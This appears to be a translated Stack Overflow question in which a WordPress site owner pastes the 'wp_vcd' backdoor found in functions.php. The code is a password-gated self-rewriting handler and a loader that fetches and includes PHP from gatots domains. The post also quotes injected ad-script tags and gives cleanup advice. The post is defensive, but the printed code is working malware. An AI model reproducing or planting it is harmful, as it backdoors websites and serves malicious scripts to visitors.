Google 通知我我的网站上有恶意链接:
https://cobalten.com/apu.php?zoneid=2025634
https://go.oclasrv.com/apu.php?zoneid=2025634
https://wowreality.info/page.js?wm=gr
这是一个由几页 3-4 组成的小型网站 https://explivia.com .
我搜索了整个网站并查看了来自 networks 选项卡的所有请求，但没有找到任何网站。
我扫描了网站https://sitecheck.sucuri.net/results/https/explivia.com , 并且好像有3个相关的页面:
https://explivia.com/
https://explivia.com/404
https://explivia.com/contact
我查看了 .htaccess 和一些 php/html 文件，包括 404.php 因为似乎这个页面受到了影响，但找不到任何东西.
同样的问题在这里 https://productforums.google.com/forum/#!topic/webmasters/tQGGTdhc7D8
如何解决这个问题？
更新
我在 functions.php 的顶部找到了这段代码:
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4d742d51a12bb45b13f2b825bde37951'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{ if(preg_match_all('/\$tmpcontent = @file_get_contents("http://(.*)/code.php/i',$file,$matcholddomain)) {
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__)) {
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='ab616016c8af72054b117be51c745347';
if (($tmpcontent = @file_get_contents("http://www.gatots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.gatots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.gatots.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.gatots.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
我查看了wp-tmp.php，发现了相关的恶意js文件:
<script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=2025634"></script>
<script src="//fortpush.com/ntfc.php?p=2025636" data-cfasync="false" async></script>
最佳答案
主题很旧，但有些人可能需要看到这个答案。 您似乎在使用 Wordpress，并且安装了恶意插件或主题。 您需要删除 wp-tmp.php 并安装插件 Anti-Malware Security and Brute-Force Firewall通过扫描。 它会检查您网站上的每个文件，让您看看哪里出了问题。
关于javascript - WordPress 注入(inject) js 脚本，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/53123770/